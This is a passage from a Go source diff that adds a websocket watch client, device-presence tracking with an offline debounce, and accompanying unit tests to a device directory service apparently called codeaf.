h.dial(ctx, nil, true) +} + +// WatchHolding opens the watch socket of a process that holds leases, naming +// them in the query. The query is part of the signed uri, so only this device +// can name a hold. +func (h *HTTP) WatchHolding(ctx context.Context, holds []Hold) (dirwatch.Stream, error) { + return h.dial(ctx, holds, false) +} + +// dial opens the socket naming holds, and asking for events when events is set. +func (h *HTTP) dial(ctx context.Context, holds []Hold, events bool) (dirwatch.Stream, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodGet, wireauth.Endpoint(h.base, dirBase+"/watch"), nil) + if err != nil { + return nil, err + } + req.URL.RawQuery = withBeat(watchQuery(holds, events)) + h.sign(req, nil) + // The library applies the client's Timeout to the dial alone and clears it + // for the socket, so the shared client is safe to hand over. + c, resp, err := websocket.Dial(ctx, req.URL.String(), &websocket.DialOptions{ + HTTPClient: h.hc, + HTTPHeader: req.Header, + }) + if err != nil { + return nil, dialFailure(resp, err) + } + c.SetReadLimit(watchLimit) + return &socket{c: c, vouching: resp.Header.Get(vouchHeader) == "1"}, nil +} + +// withBeat appends the declaration of how often this client pings, which is +// what the relay sizes its presence window from. It is added here, to every +// dial of both kinds of socket, so no caller of watchQuery can forget it. +func withBeat(query string) string { + beat := url.Values{"beat": {strconv.Itoa(BeatSeconds)}}.Encode() + if query == "" { + return beat + } + return query + "&" + beat +} + +// watchRefusals pairs each refusal the feed must stop on with the dirwatch +// sentinel that says it, so one error matches both vocabularies. +var watchRefusals = []struct{ dir, watch error }{ + {ErrRevoked, dirwatch.ErrRevoked}, + {ErrRotated, dirwatch.ErrRotated}, +} + +// dialFailure names why the upgrade did not happen. +func dialFailure(resp *http.Response, err error) error { + if resp == nil { + return fmt.Errorf("%w: %v", ErrUnreachable, err) + } + if resp.StatusCode == http.StatusNotFound { + return dirwatch.ErrNoRoute + } + refused := refusal(resp) + for _, r := range watchRefusals { + if errors.Is(refused, r.dir) { + return fmt.Errorf("%w: %w", r.watch, refused) + } + } + return refused +} + +// socket is the watch socket as the feed reads it. +type socket struct { + c *websocket.Conn + vouching bool +} + +// Next reads one text frame: a version, or the answer to a ping. +func (s *socket) Next(ctx context.Context) (dirwatch.Frame, error) { + _, data, err := s.c.Read(ctx) + if err != nil { + return dirwatch.Frame{}, closeSentinel(err) + } + return decodeFrame(data) +} + +// Ping writes the text the server answers with a pong. +func (s *socket) Ping(ctx context.Context) error { + return s.c.Write(ctx, websocket.MessageText, []byte("ping")) +} + +// Vouching is whether the upgrade answer carried the vouch header. +func (s *socket) Vouching() bool { return s.vouching } + +// Close says goodbye without waiting for the server to answer. +func (s *socket) Close() { _ = s.c.Close(websocket.StatusNormalClosure, "") } + +// closeSentinels maps each close code the server ends a socket with to the +// sentinel the feed acts on. +var closeSentinels = map[websocket.StatusCode]error{ + dirwatch.CloseRevoked: dirwatch.ErrRevoked, + dirwatch.CloseRotated: dirwatch.ErrRotated, + closeSilent: dirwatch.ErrSilent, +} + +// closeSentinel turns the server's close codes into their sentinels. +func closeSentinel(err error) error { + if sentinel, ok := closeSentinels[websocket.CloseStatus(err)]; ok { + return sentinel + } + return err +} + +// decodeFrame reads `pong`, `{"v":N}` or an event frame `{"t":...}`; fields it +// does not know are ignored so the server may add some, and an event of a kind +// it does not know is passed on for the feed to ignore. +func decodeFrame(data []byte) (dirwatch.Frame, error) { + if string(data) == "pong" { + return dirwatch.Frame{Pong: true}, nil + } + var f struct { + V *uint64 `json:"v"` + dirwatch.Event + } + if err := json.Unmarshal(data, &f); err != nil { + return dirwatch.Frame{}, fmt.Errorf("directory: undecodable watch frame %q", data) + } + switch { + case f.V != nil: + return dirwatch.Frame{Version: *f.V}, nil + case f.T != "": + return dirwatch.Frame{Event: &f.Event}, nil + } + return dirwatch.Frame{}, fmt.Errorf("directory: undecodable watch frame %q", data) +} diff --git a/internal/directory/watchclient_test.go b/internal/directory/watchclient_test.go new file mode 100644 index 0000000000..2a5052808e --- /dev/null +++ b/internal/directory/watchclient_test.go @@ -0,0 +1,274 @@ +package directory_test + +import ( + "context" + "errors" + "io" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// signedHeaders are the four headers a signed request carries. +var signedHeaders = []string{"Codeaf-Identity", "Codeaf-Cert", "Codeaf-Time", "Codeaf-Sig"} + +// stampAll stands in for the signer: it sets the four headers and notes the body. +func stampAll(r *http.Request, _ []byte) { + for _, h := range signedHeaders { + r.Header.Set(h, "x") + } +} + +func watchClient(srv *httptest.Server) *directory.HTTP { + return directory.NewHTTP(srv.URL, stampAll, srv.Client()) +} + +// serve runs handler as the watch route and returns the client dialled at it. +func serve(t *testing.T, handler http.HandlerFunc) *directory.HTTP { + t.Helper() + srv := httptest.NewServer(handler) + t.Cleanup(srv.Close) + return watchClient(srv) +} + +func accept(t *testing.T, w http.ResponseWriter, r *http.Request) *websocket.Conn { + t.Helper() + c, err := websocket.Accept(w, r, nil) + if err != nil { + t.Errorf("accept: %v", err) + } + return c +} + +func TestWatchUpgradeIsSigned(t *testing.T) { + seen := make(chan *http.Request, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + r := <-seen + if r.URL.Path != "/v1/dir/watch" { + t.Fatalf("path %q", r.URL.Path) + } + for _, h := range signedHeaders { + if r.Header.Get(h) == "" { + t.Errorf("missing %s", h) + } + } + if b, _ := io.ReadAll(r.Body); len(b) != 0 { + t.Errorf("body %q", b) + } +} + +func TestWatchDecodesVersionAndPong(t *testing.T) { + got := make(chan string, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + ctx := r.Context() + conn.Write(ctx, websocket.MessageText, []byte(`{"v":7,"extra":true}`)) + _, m, _ := conn.Read(ctx) + got <- string(m) + conn.Write(ctx, websocket.MessageText, []byte("pong")) + conn.Read(ctx) + }) + ctx := context.Background() + s, err := c.Watch(ctx) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if f, err := s.Next(ctx); err != nil || f.Version != 7 || f.Pong { + t.Fatalf("frame %+v, %v", f, err) + } + if err := s.Ping(ctx); err != nil { + t.Fatal(err) + } + if m := <-got; m != "ping" { + t.Fatalf("server read %q", m) + } + if f, err := s.Next(ctx); err != nil || !f.Pong { + t.Fatalf("frame %+v, %v", f, err) + } +} + +func TestWatchUndecodableFrameIsAnError(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Write(r.Context(), websocket.MessageText, []byte("nonsense")) + conn.Read(r.Context()) + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if _, err := s.Next(context.Background()); err == nil { + t.Fatal("want an error") + } +} + +func TestWatchRefusedUpgrade(t *testing.T) { + cases := []struct { + name string + status int + body string + want error + }{ + {"no route", 404, "", dirwatch.ErrNoRoute}, + {"revoked", 401, `{"err":"revoked"}`, dirwatch.ErrRevoked}, + {"revoked keeps the directory sentinel", 401, `{"err":"revoked"}`, directory.ErrRevoked}, + {"rotated", 410, `{"err":"rotated"}`, dirwatch.ErrRotated}, + {"rotated keeps the directory sentinel", 410, `{"err":"rotated"}`, directory.ErrRotated}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(tc.status) + io.Copy(w, strings.NewReader(tc.body)) + }) + if _, err := c.Watch(context.Background()); !errors.Is(err, tc.want) { + t.Fatalf("got %v, want %v", err, tc.want) + } + }) + } +} + +func TestWatchUnreachable(t *testing.T) { + srv := httptest.NewServer(http.NotFoundHandler()) + c := watchClient(srv) + srv.Close() + if _, err := c.Watch(context.Background()); !errors.Is(err, directory.ErrUnreachable) { + t.Fatalf("got %v", err) + } +} + +func TestWatchCloseCodesAreSentinels(t *testing.T) { + for code, want := range map[websocket.StatusCode]error{ + dirwatch.CloseRevoked: dirwatch.ErrRevoked, + dirwatch.CloseRotated: dirwatch.ErrRotated, + } { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + accept(t, w, r).Close(code, "") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + if _, err := s.Next(context.Background()); !errors.Is(err, want) { + t.Errorf("close %d: got %v, want %v", code, err, want) + } + s.Close() + } +} + +func TestListReadsTheVersionHeader(t *testing.T) { + for header, want := range map[string]uint64{"42": 42, "": 0, "soon": 0} { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + if header != "" { + w.Header().Set(directory.VersionHeader, header) + } + io.WriteString(w, `{}`) + }) + if l, err := c.List(context.Background()); err != nil || l.Version != want { + t.Errorf("header %q: version %d, %v; want %d", header, l.Version, err, want) + } + } +} + +func TestWatchHoldingNamesHoldsInTheSignedURLAndReadsTheVouchWord(t *testing.T) { + seen := make(chan *http.Request, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r + w.Header().Set("Codeaf-Vouch", "1") + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c:1", Fence: 7}, {Cell: "d", Fence: 2}}) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if got := (<-seen).URL.Query()["hold"]; len(got) != 2 || got[0] != "c:1:7" || got[1] != "d:2" { + t.Fatalf("holds in the query = %q", got) + } + if !s.Vouching() { + t.Fatal("a socket answered with the vouch word is not vouching") + } +} + +func TestWatchWithoutTheVouchWordIsNotVouching(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c", Fence: 1}}) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if s.Vouching() { + t.Fatal("an old relay's socket is believed to vouch") + } +} + +// TestWatchDialsWithBeat is the contract's one source for the ping period: both +// kinds of dial declare the beat the feed pings at, so the relay sizes the +// presence window from the truth. +func TestWatchDialsWithBeat(t *testing.T) { + if time.Duration(directory.BeatSeconds)*time.Second != dirwatch.KeepEvery { + t.Fatalf("BeatSeconds %d and KeepEvery %v disagree", directory.BeatSeconds, dirwatch.KeepEvery) + } + dials := map[string]func(*directory.HTTP) (dirwatch.Stream, error){ + "home": func(c *directory.HTTP) (dirwatch.Stream, error) { return c.Watch(context.Background()) }, + "holder": func(c *directory.HTTP) (dirwatch.Stream, error) { + return c.WatchHolding(context.Background(), []directory.Hold{{Cell: "c1", Fence: 3}}) + }, + } + for name, dial := range dials { + seen := make(chan url.Values, 1) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + seen <- r.URL.Query() + conn := accept(t, w, r) + conn.Close(websocket.StatusNormalClosure, "") + }) + s, err := dial(c) + if err != nil { + t.Fatal(err) + } + s.Close() + if got := (<-seen)["beat"]; len(got) != 1 || got[0] != "10" { + t.Errorf("%s dial declared beat %v, want exactly [10]", name, got) + } + } +} + +// TestWatchReadsSilentCloseAsItsSentinel is the wire half of the redial: the +// relay's 4408 close reaches the feed as dirwatch.ErrSilent. +func TestWatchReadsSilentCloseAsItsSentinel(t *testing.T) { + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + conn.Close(websocket.StatusCode(4408), "silent") + }) + s, err := c.Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + defer s.Close() + if _, err := s.Next(context.Background()); !errors.Is(err, dirwatch.ErrSilent) { + t.Fatalf("a 4408 close read as %v, want ErrSilent", err) + } +} diff --git a/internal/directory/watchevents_test.go b/internal/directory/watchevents_test.go new file mode 100644 index 0000000000..14f1b9bc7c --- /dev/null +++ b/internal/directory/watchevents_test.go @@ -0,0 +1,135 @@ +package directory_test + +import ( + "context" + "net/http/httptest" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// eventRig is a real handler over real sockets, with the feeds in reach. +type eventRig struct { + rig + dirs *namespaces +} + +func newEventRig(t *testing.T) eventRig { + t.Helper() + clock := directorytest.NewFakeClock() + dirs := newNamespaces(clock) + srv := httptest.NewServer(directory.Handler(fakeAuth, dirs.open)) + t.Cleanup(srv.Close) + return eventRig{rig{srv: srv, clock: clock}, dirs} +} + +func read(t *testing.T, s dirwatch.Stream) dirwatch.Frame { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + f, err := s.Next(ctx) + if err != nil { + t.Fatal(err) + } + return f +} + +func watcher(t *testing.T, c directory.Client) dirwatch.Stream { + t.Helper() + s, err := c.(directory.Watcher).Watch(context.Background()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(s.Close) + return s +} + +func TestAnEventSocketHearsTheVersionThenWhoIsOnlineThenWhoComes(t *testing.T) { + g := newEventRig(t) + a := watcher(t, g.as("id_one", devA)) + if f := read(t, a); f.Event != nil || f.Pong { + t.Fatalf("the first frame was not a version: %+v", f) + } + watcher(t, g.as("id_one", devB)) + f := read(t, a) + if f.Event == nil || f.Event.T != dirwatch.EventPresence || f.Event.Device != devB || !*f.Event.Online { + t.Fatalf("a was not told b is online: %+v", f) + } +} + +func TestANewEventSocketIsToldWhoWasAlreadyOnlineRightAfterTheVersion(t *testing.T) { + g := newEventRig(t) + watcher(t, g.as("id_one", devA)) + b := watcher(t, g.as("id_one", devB)) + if f := read(t, b); f.Event != nil { + t.Fatalf("an event came before the version: %+v", f) + } + f := read(t, b) + if f.Event == nil || f.Event.Device != devA || !*f.Event.Online { + t.Fatalf("b was not told a is online: %+v", f) + } +} + +func TestASocketThatNamesHoldsAndSkipsEventsHearsNoEvent(t *testing.T) { + g := newEventRig(t) + holder, err := g.as("id_one", devA).(directory.HoldWatcher).WatchHolding(context.Background(), nil) + if err != nil { + t.Fatal(err) + } + defer holder.Close() + read(t, holder) + watcher(t, g.as("id_one", devB)) + ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond) + defer cancel() + if f, err := holder.Next(ctx); err == nil { + t.Fatalf("a socket without events heard %+v", f) + } +} + +func TestAFollowerStateShowsOnlinePeers(t *testing.T) { + g := newEventRig(t) + c := g.as("id_one", devA) + f := dirwatch.Follow(t.Name(), c.(directory.Watcher).Watch) + defer f.Close() + watcher(t, g.as("id_one", devB)) + waitFor(t, f, func(s dirwatch.State) bool { return len(s.Online) == 1 && s.Online[0] == devB }) +} + +func waitFor(t *testing.T, f dirwatch.Follower, ok func(dirwatch.State) bool) { + t.Helper() + deadline := time.After(5 * time.Second) + for !ok(f.State()) { + select { + case <-f.Changes(): + case <-deadline: + t.Fatalf("state never matched: %+v", f.State()) + } + } +} + +func TestPresenceAnswersWhoIsOnlineAndWhenTheOthersWereSeen(t *testing.T) { + g := newEventRig(t) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + for _, c := range []directory.Client{a, b} { + if err := c.PutDevice(ctx, map[directory.Client]string{a: devA, b: devB}[c], directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + } + s := watcher(t, b) + read(t, s) + // The socket pings every 10 s, so a quiet 20 s is inside its 25 s window; a silent minute would show it off. + g.clock.Advance(20 * time.Second) + v, err := a.(interface { + Presence(context.Context) (directory.PresenceView, error) + }).Presence(ctx) + if err != nil { + t.Fatal(err) + } + if !v.Devices[devB].Online || v.Devices[devB].LastSeen != v.Now || v.Devices[devA].Online || v.Version == 0 { + t.Fatalf("presence is %+v", v) + } +} diff --git a/internal/directory/watchfollow_test.go b/internal/directory/watchfollow_test.go new file mode 100644 index 0000000000..03e66686a2 --- /dev/null +++ b/internal/directory/watchfollow_test.go @@ -0,0 +1,66 @@ +package directory_test + +import ( + "context" + "fmt" + "net/http" + "sort" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// TestAChangeReachesAFollowerQuickly runs the real feed over a real socket to +// an in-process relay, and times how long a change takes from the server +// sending its frame to the follower being told. It is the socket's share of +// the change-to-screen delay; the read the screen makes next is one request. +func TestAChangeReachesAFollowerQuickly(t *testing.T) { + changes := make(chan uint64) + c := serve(t, func(w http.ResponseWriter, r *http.Request) { + conn := accept(t, w, r) + defer conn.CloseNow() + ctx := r.Context() + conn.Write(ctx, websocket.MessageText, []byte(`{"v":0}`)) + for { + select { + case v := <-changes: + conn.Write(ctx, websocket.MessageText, []byte(fmt.Sprintf(`{"v":%d}`, v))) + case <-ctx.Done(): + return + } + } + }) + f := dirwatch.Follow(t.Name(), c.Watch) + defer f.Close() + waitChange(t, f) // the first frame, on accept + + var took []time.Duration + for v := uint64(1); v <= 20; v++ { + start := time.Now() + changes <- v + waitChange(t, f) + took = append(took, time.Since(start)) + if got := f.State().Version; got != v { + t.Fatalf("the follower holds version %d after a frame for %d", got, v) + } + } + sort.Slice(took, func(i, j int) bool { return took[i] < took[j] }) + t.Logf("change-to-follower latency over a real socket: median %v, worst %v", took[len(took)/2], took[len(took)-1]) + if took[len(took)-1] > time.Second { + t.Fatalf("a change took %v to reach the follower", took[len(took)-1]) + } +} + +func waitChange(t *testing.T, f dirwatch.Follower) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + select { + case <-f.Changes(): + case <-ctx.Done(): + t.Fatal("the follower was never told") + } +} diff --git a/internal/directory/watchpresence.go b/internal/directory/watchpresence.go new file mode 100644 index 0000000000..650d24ea23 --- /dev/null +++ b/internal/directory/watchpresence.go @@ -0,0 +1,328 @@ +package directory + +import ( + "maps" + "slices" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// OfflineDebounce is how long a device may hold no watch socket before its +// peers are told it is offline (docs/ux-pairing-contract.md, section 5). +const OfflineDebounce = 15 * time.Second + +// eventBuffer is how many event frames wait for one socket. A socket that +// falls further behind loses the newest ones: events are hints, and the +// directory list is the truth a client re-reads. +const eventBuffer = 32 + +// After runs fn once after d and answers a stop that reports whether it beat +// the run. The relay's own is the wall clock's; a test that moves a fake clock +// hands the directory timers that move with it. +type After func(d time.Duration, fn func()) (stop func() bool) + +// presence knows which devices hold a live watch socket, and tells the sockets +// that asked for events when that changes. A socket is live while its pings +// keep coming (contract 21.12.2), and a device is online while it holds one. +// A device whose last live socket closed is announced offline only after +// OfflineDebounce, and a reconnect inside that gap announces nothing. A device +// whose sockets simply fell silent is announced offline by the sweep at the +// moment its last one lapsed, and its sockets are told to go. +type presence struct { + clock func() time.Time + // after is the timers the debounce and the sweep run on. + after After + + mu sync.Mutex + socks map[string]map[*Sub]struct{} // sockets held, by device, live or not + waiting map[string]*gap // devices in their debounce: still told online + gone map[string]bool // devices already announced offline since they last arrived + watchers map[*Sub]struct{} // the sockets that asked for events + seen func(device string, at int64) + alarm alarm +} + +// gap is one device's debounce. Identity is the pointer: a timer that fires +// after its device returned finds another gap, or none, and does nothing. +type gap struct{ stop func() bool } + +// seenAt is one last_seen stamp the presence owes the OnSeen hook, which must +// not be called while the lock is held. +type seenAt struct { + device string + at int64 +} + +func newPresence(clock func() time.Time) *presence { + return &presence{ + clock: clock, + after: func(d time.Duration, fn func()) func() bool { + return time.AfterFunc(d, fn).Stop + }, + socks: map[string]map[*Sub]struct{}{}, + waiting: map[string]*gap{}, + gone: map[string]bool{}, + watchers: map[*Sub]struct{}{}, + } +} + +// tell sends e to every event socket except the sockets of device `except`. +// The caller holds p.mu. +func (p *presence) tell(e dirwatch.Event, except string) { + for s := range p.watchers { + if s.device != except { + s.offer(e) + } + } +} + +func (p *presence) now() int64 { return p.clock().UnixMilli() } + +// stamp calls the OnSeen hook for each stamp, outside every lock. +func (p *presence) stamp(hook func(string, int64), stamps ...seenAt) { + if hook == nil { + return + } + for _, s := range stamps { + hook(s.device, s.at) + } +} + +// opened counts a new socket of s. The first socket of a device is news to the +// others unless the device is only reconnecting inside its gap; a device that +// was announced offline is news again whenever it returns. +func (p *presence) opened(s *Sub) { + p.mu.Lock() + had := len(p.socks[s.device]) > 0 + if p.socks[s.device] == nil { + p.socks[s.device] = map[*Sub]struct{}{} + } + p.socks[s.device][s] = struct{}{} + p.arrived(s.device, had) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, seenAt{s.device, p.now()}) +} + +func (p *presence) arrived(device string, had bool) { + if p.gone[device] { + delete(p.gone, device) + p.tell(dirwatch.PresenceEvent(device, true, p.now()), device) + return + } + if g := p.waiting[device]; g != nil { + g.stop() + delete(p.waiting, device) + return + } + if !had { + p.tell(dirwatch.PresenceEvent(device, true, p.now()), device) + } +} + +// closed uncounts a socket of s. When it leaves its device with no live socket, +// that device's gap starts if the socket was live, and the device is announced +// offline at once if it was not: a socket that was already silent has waited its +// debounce out, and one the sweep lapsed was announced then. +func (p *presence) closed(s *Sub) { + p.mu.Lock() + now := p.now() + wasLive := s.liveAt(now) + delete(p.socks[s.device], s) + if len(p.socks[s.device]) == 0 { + delete(p.socks, s.device) + } + delete(p.watchers, s) + stamps := p.departed(s, wasLive, now) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, stamps...) +} + +// departed settles the device of s after s left it, and answers the last_seen +// stamp that is owed, if any. The caller holds p.mu. +func (p *presence) departed(s *Sub, wasLive bool, now int64) []seenAt { + d := s.device + if p.liveSocks(d, now) > 0 || s.lapsed.Load() { + return nil + } + if wasLive { + p.depart(d) + return []seenAt{{d, now}} + } + return p.expire(d, s.alive.Load()) +} + +func (p *presence) depart(device string) { + g := &gap{} + g.stop = p.after(OfflineDebounce, func() { p.lapsed(device, g) }) + p.waiting[device] = g +} + +// lapsed ends g: the device stayed away, so its peers hear that it is offline. +func (p *presence) lapsed(device string, g *gap) { + p.mu.Lock() + defer p.mu.Unlock() + if p.waiting[device] != g { + return + } + p.expire(device, 0) +} + +// expire announces device offline once, tells every socket it still holds to go +// and answers the last_seen stamp owed: its newest sign of life, or last when +// that is newer (a socket that already closed). The caller holds p.mu. +func (p *presence) expire(device string, last int64) []seenAt { + if g := p.waiting[device]; g != nil { + g.stop() + delete(p.waiting, device) + } + if p.gone[device] { + return nil + } + p.gone[device] = true + for s := range p.socks[device] { + last = max(last, s.alive.Load()) + s.lapse() + } + p.tell(dirwatch.PresenceEvent(device, false, p.now()), device) + if last == 0 { + return nil + } + return []seenAt{{device, last}} +} + +// liveSocks counts the live sockets of device at unix ms now. The caller holds p.mu. +func (p *presence) liveSocks(device string, now int64) int { + n := 0 + for s := range p.socks[device] { + if s.liveAt(now) { + n++ + } + } + return n +} + +// subscribe makes s an event socket and queues who is online for it, itself +// excluded. The sweep exists from here on, until the last event socket leaves. +func (p *presence) subscribe(s *Sub) { + p.mu.Lock() + defer p.mu.Unlock() + p.watchers[s] = struct{}{} + for _, device := range slices.Sorted(maps.Keys(p.believed())) { + if device != s.device { + s.offer(dirwatch.PresenceEvent(device, true, p.now())) + } + } + p.arm() +} + +// believed is the devices peers are told are online: those holding a live +// socket and those still inside their gap. The caller holds p.mu. +func (p *presence) believed() map[string]bool { + set := p.liveDevices() + for d := range p.waiting { + set[d] = true + } + return set +} + +// liveDevices is the devices that hold a live socket. The caller holds p.mu. +func (p *presence) liveDevices() map[string]bool { + now := p.now() + set := map[string]bool{} + for d := range p.socks { + if p.liveSocks(d, now) > 0 { + set[d] = true + } + } + return set +} + +// online is whether device holds a live watch socket now. +func (p *presence) online(device string) bool { + p.mu.Lock() + defer p.mu.Unlock() + return p.liveSocks(device, p.now()) > 0 +} + +// onlineSet is the devices that hold a live watch socket now. +func (p *presence) onlineSet() map[string]bool { + p.mu.Lock() + defer p.mu.Unlock() + return p.liveDevices() +} + +// announce tells every event socket except those of `except` about e. +func (p *presence) announce(e dirwatch.Event, except string) { + p.mu.Lock() + defer p.mu.Unlock() + p.tell(e, except) +} + +// revokedSince tells the event sockets about each device stopped in next that was not in prev. +func (p *presence) revokedSince(prev, next map[string]bool) { + p.mu.Lock() + defer p.mu.Unlock() + for device := range next { + if !prev[device] { + p.tell(dirwatch.RevokedEvent(device, p.now()), device) + } + } +} + +// stop cancels every gap and the sweep, for the directory's own Close. +func (p *presence) stop() { + p.mu.Lock() + defer p.mu.Unlock() + for d, g := range p.waiting { + g.stop() + delete(p.waiting, d) + } + p.alarm.cancel() +} + +// offer queues e for the socket. A full buffer drops e: events are hints, and +// the list is the truth a client re-reads. +func (s *Sub) offer(e dirwatch.Event) { + select { + case s.events <- e: + default: + } +} + +// Events makes the watcher an event socket and answers the channel its event +// frames arrive on. It is queued with one presence frame per other online +// device before it is returned, so the first frames after the version are +// those. Call it once, before the first frame is written. +func (s *Sub) Events() <-chan dirwatch.Event { + s.f.pres.subscribe(s) + return s.events +} + +// Online is whether device holds at least one watch socket now (docs/ux-pairing-contract.md, section 5). +func (f *Feed) Online(device string) bool { return f.pres.online(device) } + +// OnlineSet is every device that holds a watch socket now. The caller owns the map. +func (f *Feed) OnlineSet() map[string]bool { return f.pres.onlineSet() } + +// announceJoin tells the event sockets of every device but the new one that it +// joined. A backend calls it, through SetOnJoin, in the turn that approves the +// device; the name is the sealed name as stored. +func (f *Feed) announceJoin(j Joined) { + f.pres.announce(dirwatch.JoinedEvent(j.Device, j.Name, j.Platform, j.At), j.Device) +} + +// OnSeen registers fn to stamp a device's last_seen: it is called with the +// directory time (unix ms) at each watch connect and when a device closes its +// last socket, never per ping and never while the feed holds a lock. A +// backend sets it once, before it serves. +func (f *Feed) OnSeen(fn func(device string, at int64)) { + f.pres.mu.Lock() + defer f.pres.mu.Unlock() + f.pres.seen = fn +} diff --git a/internal/directory/watchpresence_test.go b/internal/directory/watchpresence_test.go new file mode 100644 index 0000000000..204c6e8f17 --- /dev/null +++ b/internal/directory/watchpresence_test.go @@ -0,0 +1,186 @@ +package directory + +import ( + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// timers stands in for the clock's timers: it holds the gaps started and runs them on demand. +type timers struct{ pending []*fakeTimer } + +type fakeTimer struct { + fn func() + stopped bool +} + +func (t *timers) after(_ time.Duration, fn func()) func() bool { + ft := &fakeTimer{fn: fn} + t.pending = append(t.pending, ft) + return func() bool { was := !ft.stopped; ft.stopped = true; return was } +} + +// fire runs every timer not stopped, as the clock would once the debounce passed. +func (t *timers) fire() { + for _, ft := range t.pending { + if !ft.stopped { + ft.stopped = true + ft.fn() + } + } +} + +func newTestFeed() (*Feed, *timers) { + f := NewFeed(func() time.Time { return time.UnixMilli(5000) }) + ts := &timers{} + f.pres.after = ts.after + return f, ts +} + +// join subscribes device, as an event socket when events is set, and answers the sub and its frames. +func join(t *testing.T, f *Feed, device string, events bool) (*Sub, <-chan dirwatch.Event) { + t.Helper() + s, err := f.Subscribe(device, nil) + if err != nil { + t.Fatal(err) + } + if !events { + return s, nil + } + return s, s.Events() +} + +// drain returns what is queued without waiting. +func drain(ch <-chan dirwatch.Event) (got []string) { + for { + select { + case e := <-ch: + got = append(got, describe(e)) + default: + return got + } + } +} + +func describe(e dirwatch.Event) string { + switch { + case e.Online != nil && *e.Online: + return e.T + ":" + e.Device + ":on" + case e.Online != nil: + return e.T + ":" + e.Device + ":off" + } + return e.T + ":" + e.Device +} + +func same(t *testing.T, got, want []string) { + t.Helper() + if len(got) != len(want) { + t.Fatalf("got %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("got %v, want %v", got, want) + } + } +} + +func TestFirstSocketIsNewsAndTheNewcomerHearsWhoIsOnline(t *testing.T) { + f, _ := newTestFeed() + _, a := join(t, f, "dev_a", true) + _, b := join(t, f, "dev_b", true) + same(t, drain(a), []string{"presence:dev_b:on"}) + same(t, drain(b), []string{"presence:dev_a:on"}) + join(t, f, "dev_b", true) + same(t, drain(a), nil) // a second socket of a device is not news + if !f.Online("dev_b") || len(f.OnlineSet()) != 2 { + t.Fatalf("online set is %v", f.OnlineSet()) + } +} + +func TestASocketWithoutEventsHearsNothing(t *testing.T) { + f, _ := newTestFeed() + old, _ := join(t, f, "dev_a", false) + join(t, f, "dev_b", true) + f.announceJoin(Joined{Device: "dev_c", Name: "bg==", Platform: "linux"}) + if len(old.events) != 0 { + t.Fatalf("a socket that did not opt in has %d queued events", len(old.events)) + } +} + +func TestOfflineWaitsForTheGapAndOnlyTheLastSocketStartsIt(t *testing.T) { + f, ts := newTestFeed() + _, a := join(t, f, "dev_a", true) + b1, _ := join(t, f, "dev_b", true) + b2, _ := join(t, f, "dev_b", true) + drain(a) + b1.Close() + b1.Close() // closing twice counts once + ts.fire() + same(t, drain(a), nil) + if !f.Online("dev_b") { + t.Fatal("one socket left, the device is online") + } + b2.Close() + same(t, drain(a), nil) // still inside the gap + if f.Online("dev_b") { + t.Fatal("no socket, the device is not online even inside the gap") + } + ts.fire() + same(t, drain(a), []string{"presence:dev_b:off"}) +} + +func TestAReconnectInsideTheGapSaysNothing(t *testing.T) { + f, ts := newTestFeed() + _, a := join(t, f, "dev_a", true) + b, _ := join(t, f, "dev_b", true) + drain(a) + b.Close() + join(t, f, "dev_b", true) + ts.fire() + same(t, drain(a), nil) +} + +func TestASocketOpenedInsideAGapStillHearsTheDeviceOnline(t *testing.T) { + f, ts := newTestFeed() + join(t, f, "dev_a", true) + b, _ := join(t, f, "dev_b", true) + b.Close() + _, c := join(t, f, "dev_c", true) + same(t, drain(c), []string{"presence:dev_a:on", "presence:dev_b:on"}) + ts.fire() + same(t, drain(c), []string{"presence:dev_b:off"}) +} + +func TestJoinedGoesToOthersNotToTheNewDevice(t *testing.T) { + f, _ 